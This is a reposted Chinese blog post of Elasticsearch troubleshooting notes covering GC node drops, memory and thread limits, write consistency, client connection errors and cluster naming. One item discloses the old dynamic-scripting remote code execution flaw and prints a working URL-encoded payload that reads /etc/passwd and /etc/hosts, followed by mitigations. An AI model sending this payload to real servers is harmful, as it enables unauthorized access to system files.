`

使用elasticsearch遇到的一些问题以及解决方法(不断更新)

阅读更多

1.由gc引起节点脱离集群

     因为gc时会使jvm停止工作,如果某个节点gc时间过长,master ping3次(zen discovery默认ping失败重试3次)不通后就会把该节点剔除出集群,从而导致索引进行重新分配。
解决方法:
(1)优化gc,减少gc时间。(2)调大zen discovery的重试次数(es参数:ping_retries)和超时时间(es参数:ping_timeout)。后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。
 
2.out of memory错误
     因为默认情况下es对字段数据缓存(Field Data Cache)大小是无限制的,查询时会把字段值放到内存,特别是facet查询,对内存要求非常高,它会把结果都放在内存,然后进行排序等操作,一直使用内存,直到内存用完,当内存不够用时就有可能出现out of memory错误。
解决方法:
(1)设置es的缓存类型为Soft Reference,它的主要特点是据有较强的引用功能。只有当内存不够的时候,才进行回收这类内存,因此在内存足够的时候,它们通常不被回收。另外,这些引 用对象还能保证在Java抛出OutOfMemory 异常之前,被设置为null。它可以用于实现一些常用图片的缓存,实现Cache的功能,保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。
(2)设置es最大缓存数据条数和缓存失效时间,通过设置index.cache.field.max_size: 50000来把缓存field的最大值设置为50000,设置index.cache.field.expire: 10m把过期时间设置成10分钟。
 
3.无法创建本地线程问题
es恢复时报错: RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]
刚开始以为是文件句柄数限制,但想到之前报的是too many open file这个错误,并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为:虚拟内存/(堆栈大小*1024*1024),也就是说虚拟内存越大或堆栈越小,能创建的线程越多。重新设置后还是会报那这错,按理说可创建线程数完全够用了的,就想是不是系统的一些限制。后来在网上找到说是max user processes的问题,这个值默认是1024,这个参数单看名字是用户最大打开的进程数,但看官方说明,就是用户最多可创建线程数,因为一个进程最少有一个线程,所以间接影响到最大进程数。调大这个参数后就没有报这个错了。
解决方法:
(1)增大jvm的heap内存或降低xss堆栈大小(默认的是512K)。
(2)打开/etc/security/limits.conf ,把soft    nproc     1024这行的1024改大就行了。
 
4.集群状态为黄色时并发插入数据报错
[7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]
这是错误信息,当时集群状态为黄色,即副本没有分配。当时副本设置为2,只有一个节点,当你设置的副本大于可分配的机器时,此时如果你插入数据就有可能报上面的错,因为es的写一致性默认是使用quorum,即quorum值必须大于(副本数/2+1),我这里2/2+1=2也就是说要要至少插入到两份索引中,由于只有一个节点,quorum等于1,所以只插入到主索引,副本找不到从而报上面那个错。
解决方法:(1)去掉没分配的副本。(2)把写一致性改成one,即只写入一份索引就行。
 
5.设置jvm锁住内存时启动警告
当设置bootstrap.mlockall: true时,启动es报警告Unknown mlockall error 0,因为linux系统默认能让进程锁住的内存为45k。
解决方法:设置为无限制,linux命令:ulimit -l unlimited
 
6.错误使用api导致集群卡死
其实这个是很低级的错误。功能就是更新一些数据,可能会对一些数据进行删除,但删除时同事使用了deleteByQuery这个接口,通过构造BoolQuery把要删除数据的id传进去,查出这些数据删除。但问题是BoolQuery最多只支持1024个条件,100个条件都已经很多了,所以这样的查询一下子就把es集群卡死了。
解决方法:用bulkRequest进行批量删除操作。
 
7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream
原因:es节点之间的JDK版本不一样
解决方法:统一JDK环境
 

1) 端口错

client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

这里9300 写成9200的话会No node available

要是你连的不是本机,注意IP有没有正确

2 )jar报引用版本不匹配,开启的服务是什么版本,引用的jar最好匹配(这个我没有去试,反正我的是匹配的)

3) 要是你改了集群名字,还有设置集群名字

Settings settings = ImmutableSettings.settingsBuilder().put("cluster.name", "xxx").build();
            client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

4)集群超过5s没有响应

解决方法1.设置client.transport.ping_timeout设大

              2.代码内加入while (true) {
try {
bulk.execute().actionGet(getRetryTimeout());
break;
}
catch (NoNodeAvailableException cont) {
Thread.sleep(5000);
continue;
}
}

9.elasticsearch 近日被发现漏洞,可以远程执行任意代码,由于elasticsearch提供了http接口,导致可能通过CSRF等方式借助恶意页面浏览发生攻击

 漏洞影响版本:
elasticsearch 1.2以下
 测试代码:

http://ESSERVERIP:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111102863897154977554_1400571156308&_=1400571156309

 浏览器会返回/etc/passwd内容

解决方案

1、在配置文件elasticsearch.yml里设置script.disable_dynamic: true

2、严格限制可访问elasticsearch服务的IP地址

参考:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

 
重启后报503错误 
详情如此下:
[2014-09-23 17:42:33,499][WARN ][transport.netty          ] [Erik Magnus Lehnsherr] Message not fully read (request) for [4961353] and 
action [discovery/zen/join/validate], resetting
[2014-09-23 17:42:33,522][INFO ][discovery.zen            ] [Erik Magnus Lehnsherr] failed to send join request to master [[Red Lotus][
UG2WbJpDTHOB-EjzJFRsow][n025.corp.ncfgroup.com][inet[/10.18.6.25:9300]]], reason [org.elasticsearch.transport.RemoteTransportException:
 [Red Lotus][inet[/10.18.6.25:9300]][discovery/zen/join]; org.elasticsearch.transport.RemoteTransportException: [Erik Magnus Lehnsherr]
[inet[/10.18.6.90:9300]][discovery/zen/join/validate]; org.elasticsearch.ElasticsearchIllegalArgumentException: No custom index metadat
a factory registered for type [rivers]]
 
问题原因:都采用默认集群名字的话,不同人不同I配置发到集群会进行连接并选Master,有时候可能因为IP限制连接不上。
更改:自己的测试服务尽量个性命名
 
 
参考文献: http://blog.csdn.net/laigood/article/details/8193170
 
from   http://blog.csdn.net/july_2/article/details/24728733
分享到:
评论

相关推荐

    ES head插件

    - **临时查看**:在遇到问题需要临时查看 ES 集群状态时,ES Head 是个快速的解决方案。 4. **与 Kibana 比较** - 虽然 Kibana 功能更强大,包括可视化、警报、仪表板等高级功能,但 ES Head 更简洁,上手更快,...

    spring boot 整合 elasticsearch

    为了更好地调试和理解查询逻辑,可以查看README.MD文件中的说明,它通常会包含详细的步骤、示例代码和可能遇到的问题解决方案。此外,集成测试也是确保查询功能正确性的重要环节,可以使用Spring Boot的...

    Elasticsearch的sql插件.zip

    总结来说,Elasticsearch的SQL插件是将SQL查询能力引入到Elasticsearch中的一个重要工具,它极大地拓宽了Elasticsearch的使用场景,使得那些熟悉SQL的用户无需额外学习新的查询语法就能高效地操作和分析Elastic...

    elasticsearch-analysis-ik-6.8.8 (1)2.zip

    这个版本是针对Elasticsearch 6.8.8优化的,以解决在GitHub上可能遇到的下载困难。在大数据分析领域,Elasticsearch因其强大的全文检索能力而被广泛应用,而IK分词器则是其重要的配套工具,尤其对于处理中文数据时,...

    elasticsearch_fix

    1. **版本兼容性**:确保 Search Guard 版本与 Elasticsearch 版本兼容,否则可能遇到无法运行的问题。 2. **性能影响**:安全功能的启用可能会带来一定的性能开销,需要根据实际需求和硬件资源来权衡。 3. **定期...

    Springboot开发-将springboot与elasticsearch进行整合开发.zip

    - 对Elasticsearch的操作可能会遇到网络问题、索引不存在等异常,应适当地捕获并处理这些异常。 - 记录详细的日志,有助于调试和故障排查。 7. **性能调优** - 考虑使用Elasticsearch的批量操作以提高效率。 - ...

    Elasticsearch核心知识篇、项目中如何使用、如何优化进阶

    - **问题背景**:当Elasticsearch集群重启时,可能会遇到Shard恢复时间过长的问题,这会影响到系统的可用性和性能。 - **解决策略**: - 使用`index.recovery.initial_shards`参数来指定初始恢复的分片数量。 - ...

    SourceCode_elasticsearch-analysis-ik-8.7.0 (1).zip

    本文将聚焦于SpringData Elasticsearch的使用,特别是针对中文处理的IK分词器,通过源码分析,帮助开发者深入理解其工作原理和优化方法。 Elasticsearch,简称ES,是一款基于Lucene的开源搜索引擎,它提供了分布式...

    ES Head插件离线版

    4. **查阅文档**:在使用过程中遇到问题,可以参考 ES Head 插件的官方文档或者社区资源,通常能找到解决方案。 总的来说,ES Head 插件离线版是 ES 用户的一个实用工具,虽然官方已不再支持,但通过离线安装,我们...

    全文检索elasticsearch,安装过程说明

    在使用Elasticsearch进行全文检索时,要关注性能优化,如合理设置分片和副本数量,使用倒排索引,以及利用缓存机制提高查询效率。 总的来说,Elasticsearch提供了强大的全文检索功能,通过简单的API接口和灵活的...

    elasticsearch-analysis-ik-1.8.0.zip

    IK中文分词器就是针对这一需求开发的插件,它是Elasticsearch中广泛使用的中文分词解决方案之一。 **IK分词器介绍** IK全称为Intelligent Chinese,其设计目标是为用户提供快速、高效的中文分词服务。IK分词器最初...

    阿里云 专有云企业版 V3.8.0 Elasticsearch 运维指南 20190621.pdf

    - 提供了一套故障排查流程,帮助用户诊断和解决Elasticsearch运行中遇到的问题。 - 鼓励用户报告文档中的错误,以便阿里云不断优化文档内容。 7. **法律声明**: - 强调用户应通过正规渠道获取文档,仅用于自身...

    linux上安装es需要的安装包.zip

    本文将详细介绍在Linux环境下安装Elasticsearch所需的知识点,包括系统要求、安装步骤、配置优化以及可能遇到的问题。 1. **系统要求**: Elasticsearch对Linux发行版没有特定的要求,但推荐使用稳定版本的Ubuntu...

    Python-解决爬虫中遇到的js加密问题

    本文将深入探讨如何解决这一问题,主要涵盖以下几个方面:理解JavaScript加密原理、使用工具逆向解析JS、Python模拟执行JS以及相关库的运用。 一、理解JavaScript加密原理 JavaScript加密通常是为了保护网站数据不...

    解决kindeditor 编辑器完美支持IE11 看不见上传文件框问题 无法保存问题

    然而,与许多软件一样,KindEditor在面对不同浏览器,尤其是老旧版本如Internet Explorer 11(IE11)时,可能会遇到一些兼容性问题。本篇将详细介绍如何解决KindEditor在IE11下无法保存以及上传文件框看不见或位置不...

    java分布式系统架构问题解决与瓶颈突破

    8. **监控与日志**:如何利用Zabbix、ELK栈(Elasticsearch、Logstash、Kibana)等工具进行系统性能监控和日志分析,及时发现并解决问题。 9. **安全性**:包括身份验证、授权、加密、DDoS防护等,保护系统免受攻击...

    OpenGL ES教程以及COCOS 2D教程大全(文档)

    在实践中,你可能会遇到的问题包括图形渲染问题、性能瓶颈以及兼容性问题,这些都是通过不断调试和学习可以解决的。 总之,OpenGL ES和Cocos2D是移动游戏开发的重要组成部分。通过深入学习和实践,你可以创建出具有...

Global site tag (gtag.js) - Google Analytics